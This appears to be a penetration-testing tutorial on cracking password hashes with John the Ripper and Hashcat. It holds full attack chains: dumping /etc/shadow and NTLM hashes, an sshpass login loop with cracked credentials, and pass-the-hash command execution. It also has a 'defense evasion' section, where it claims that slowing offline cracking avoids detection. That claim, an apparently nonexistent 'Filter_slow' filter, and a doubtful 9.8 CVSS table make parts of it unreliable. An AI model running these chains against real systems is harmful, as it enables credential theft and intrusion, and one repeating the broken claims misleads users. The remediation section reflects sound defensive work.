Password cracking is not brute force — it’s applied cryptography, statistical analysis, and behavioral psychology. Modern tools like John the Ripper (CPU-optimized, rule-based) and Hashcat (GPU-accelerated, mask-driven) turn hashes into credentials by exploiting weak policies, predictable human behavior, and algorithmic weaknesses. Mastery requires understanding hash types, attack modes, hardware acceleration, and defensive countermeasures.
Unauthorized cracking violates CFAA, GDPR, Computer Misuse Act, and corporate policies. Use ONLY in authorized penetration tests or isolated labs. Always report findings with CVSS scores and remediation guidance. Handle cracked credentials as sensitive data — never store or transmit in plaintext.
Installation & Setup
sudo apt update && sudo apt install john hashcat -y
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz # Unzip rockyouVerify GPU Support (Hashcat):
hashcat -I # List devices
hashcat -b # Run benchmark (critical for performance tuning)hashcat -b -m 1000 to benchmark NTLM performance on your GPU. Record hashes/sec — this determines feasibility of mask attacks.
Hash Identification & Extraction
Linux /etc/shadow Extraction
# Combine passwd + shadow
sudo unshadow /etc/passwd /etc/shadow > linux_hashes.txt
# Extract only hashes (for Hashcat)
cut -d: -f2 linux_hashes.txt > hashes_only.txtHash Identification Tools
# Use hash-identifier (preinstalled on Kali)
hash-identifier
# Or use online tool: https://hashes.com/en/tools/hash_identifier
# Or Hashcat's built-in mode lookup: https://hashcat.net/wiki/doku.php?id=example_hashes| Hash Prefix | Algorithm | Hashcat Mode | John Format |
|---|---|---|---|
$1$ | MD5 Crypt | 500 | md5crypt |
$5$ | SHA-256 Crypt | 7400 | sha256crypt |
$6$ | SHA-512 Crypt | 1800 | sha512crypt |
$y$ | yescrypt | 19700 | yescrypt |
NTLM | NTLM | 1000 | nt |
BCRYPT | bcrypt | 3200 | bcrypt |
John the Ripper: Rule Engine Mastery
Custom Rule Creation
Edit /etc/john/john.conf or ~/.john/john.conf:
[List.Rules:MyCustom]
# Append 123 to every word
$1$2$3
# Capitalize first letter, append year
c $2 $0 $2 $4
# Leet speak: a->@, e->3, s->$, o->0
sas@ se s3 ss s$ so s0Use with:
john --wordlist=rockyou.txt --rules=MyCustom hashes.txtIncremental Mode Optimization
# Define custom charset in john.conf
[Incremental:CustomAlphaNum]
File = $JOHN/custom.chr
MinLen = 6
MaxLen = 8
CharCount = 36
# Generate charset (requires sample passwords)
john --make-charset=custom.chr --external=Filter_custom hashes.txt
# Use custom charset
john --incremental=CustomAlphaNum hashes.txtjohn --test=0 to benchmark your CPU’s performance across hash types before launching attacks.
Hashcat: GPU Acceleration & Mask Syntax
GPU Optimization Flags
# Benchmark your GPU
hashcat -b -m 1000 --force
# Optimize workload for NVIDIA
hashcat -m 1000 -a 0 -w 3 --kernel-accel=2 --kernel-loops=1024 hashes.txt rockyou.txt
# Use multiple GPUs
hashcat -m 1000 -a 0 -d 1,2 hashes.txt rockyou.txt
# Monitor GPU temp/fan
watch -n 1 nvidia-smiAdvanced Mask Attack Syntax
| Mask | Description | Example |
|---|---|---|
?l?l?l?d?d?d | 3 lowercase + 3 digits | abc123 |
?u?l?l?l?d?s | Upper + 3 lower + digit + symbol | Axyz9! |
?1?1?1?1 | Custom charset (define with -1) | See below |
?a?a?a?a --increment | All chars, length 1 to 4 | a, ab, abc, abcd |
# Define custom charset: vowels + digits
hashcat -m 1000 -a 3 -1 "aeiou0123456789" hashes.txt "?1?1?1?1?1"
# Hybrid attack: wordlist + mask (append 2 digits)
hashcat -m 1000 -a 6 hashes.txt rockyou.txt ?d?d
# Hybrid attack: mask + wordlist (prepend 2 symbols)
hashcat -m 1000 -a 7 hashes.txt ?s?s rockyou.txtReal-World Attack Chains
Chain 1: Linux → JtR → SSH
# 1. Extract hashes from compromised Linux box
sudo unshadow /etc/passwd /etc/shadow > target_hashes.txt
# 2. Crack with JtR using rockyou + rules
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=All target_hashes.txt
# 3. Show cracked creds
john --show target_hashes.txt > cracked_creds.txt
# 4. SSH into target
while read user pass rest; do sshpass -p "$pass" ssh "$user@192.168.1.50"; done < cracked_creds.txtChain 2: NTLM → Hashcat → Pass-the-Hash
# 1. Dump NTLM hashes via Mimikatz or secretsdump.py
python3 secretsdump.py DOMAIN/user@192.168.1.60 > ntlm_hashes.txt
# 2. Crack with Hashcat on GPU
hashcat -m 1000 -a 0 -w 4 -O --force ntlm_hashes.txt rockyou.txt -o cracked_ntlm.txt
# 3. Use cracked password OR use hash directly with Pass-the-Hash
crackmapexec smb 192.168.1.60 -u 'admin' -H 'aad3b435b51404eeaad3b435b51404ee:5fbc3d760c40e9fe5f0a62cd022321c3' -x 'whoami'Chain 3: Defense Evasion (Slow Hash Cracking)
# Use low workload to avoid detection
hashcat -m 1800 -a 0 -w 1 --kernel-accel=1 --kernel-loops=8 --restore-disable --session=slow_crack hashes.txt rockyou.txt
# Add delay between attempts (simulate human)
john --wordlist=rockyou.txt --rules=All --external=Filter_slow hashes.txt
# In john.conf:
[Options]
Idle = Y # Lower CPU priorityDefense Strategies & CVSS Scoring
CVSS 4.0 Scoring for Weak Hash Storage
| Metric | Value | Impact |
|---|---|---|
| Attack Vector (AV) | Network (N) | High |
| Attack Complexity (AC) | Low (L) | High |
| Privileges Required (PR) | None (N) | High |
| User Interaction (UI) | None (N) | High |
| Confidentiality (C) | High (H) | Critical |
| Integrity (I) | High (H) | Critical |
| Availability (A) | High (H) | Critical |
| Base Score | 9.8 (Critical) | Immediate remediation required |
- Algorithm Upgrade: Migrate from SHA-1/MD5 to Argon2id (OWASP recommended) or bcrypt/scrypt.
- Password Policy: Enforce 12+ char passphrases, block breached passwords (HaveIBeenPwned API), require MFA.
- Salting & Peppering: Unique salt per password + global pepper stored separately.
- Rate Limiting: Lock accounts after 5 failed attempts; use exponential backoff.
- Credential Monitoring: Subscribe to breach alerts; force password resets for exposed credentials.
- Hardware Security: Store hashes in HSMs or secure enclaves (e.g., AWS KMS, Azure Key Vault).
Vulnerability: Weak Password Hashing (MD5 Crypt)
CVSS: 9.8 (Critical)
Evidence: Extracted /etc/shadow from 192.168.1.50. Cracked 12/15 passwords in < 5 mins using JtR + rockyou.txt.
Risk: Full system compromise via SSH. Lateral movement to other systems.
Remediation:
1. Migrate to Argon2id immediately.
2. Enforce 12-character minimum with complexity.
3. Implement fail2ban for SSH.
4. Deploy MFA for all privileged accounts.
5. Conduct organization-wide password reset.Conclusion & Pro Tips
John the Ripper excels in CPU-bound, rule-based attacks against complex hashes (bcrypt, yescrypt). Hashcat dominates GPU-accelerated, mask-driven attacks against fast hashes (NTLM, MD5). The choice depends on hash type, hardware, and time constraints. Always pair cracking with CVSS scoring and actionable remediation guidance.
- Benchmark First: Always run
hashcat -borjohn --testbefore launching attacks. - Hybrid is King: Combine wordlists with masks/rules — highest success rate.
- Session Management: Use
--session=namein Hashcat/JtR to pause/resume long attacks. - Cracked DB: Maintain a database of cracked passwords to identify patterns and improve future wordlists.
- Hardware Matters: RTX 4090 cracks NTLM at ~200 GH/s. RTX 3060 at ~60 GH/s. Choose attacks accordingly.
- Integrate Hashcat with Hashtopolis for distributed cracking.
- Use PACK (Password Analysis and Cracking Toolkit) to analyze password policies from cracked hashes.
- Develop custom JtR rules based on target industry (finance, healthcare, tech).
- Combine with CEWL for targeted wordlists from company websites.
- Explore Prince attack mode in Hashcat for combinatorial attacks.